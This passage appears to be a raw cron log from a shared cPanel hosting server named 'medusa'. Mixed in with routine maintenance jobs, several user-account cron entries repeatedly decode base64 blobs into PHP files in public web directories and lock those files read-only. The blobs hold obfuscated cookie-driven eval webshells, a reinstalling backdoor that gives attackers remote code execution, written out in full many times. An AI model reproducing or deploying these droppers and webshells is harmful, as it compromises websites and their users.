sZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:10:02 medusa CROND[9845]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 06:10:02 medusa CROND[9901]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:10:02 medusa CROND[9897]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 06:10:02 medusa CROND[9905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:10:02 medusa CROND[9891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9913]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:10:02 medusa CROND[9797]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 06:10:02 medusa CROND[9889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 06:10:02 medusa CROND[9906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 06:11:02 medusa CROND[26511]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:11:02 medusa CROND[26513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:11:02 medusa CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:11:02 medusa CROND[26516]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:11:02 medusa CROND[26517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:11:02 medusa CROND[26520]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 06:11:02 medusa CROND[26525]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:11:02 medusa CROND[26526]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:11:02 medusa CROND[26527]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:11:02 medusa CROND[26529]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:11:02 medusa CROND[26530]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:11:02 medusa CROND[26531]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:11:02 medusa CROND[26524]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 06:12:01 medusa CROND[10896]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:12:01 medusa CROND[11112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:12:01 medusa CROND[11113]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:12:01 medusa CROND[11115]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:12:01 medusa CROND[11114]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:12:01 medusa CROND[11116]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:12:01 medusa CROND[11117]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:12:01 medusa CROND[11118]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:12:01 medusa CROND[11120]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:12:01 medusa CROND[11121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:12:01 medusa CROND[11123]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:12:01 medusa CROND[11124]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:12:01 medusa CROND[11122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:12:01 medusa CROND[11131]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 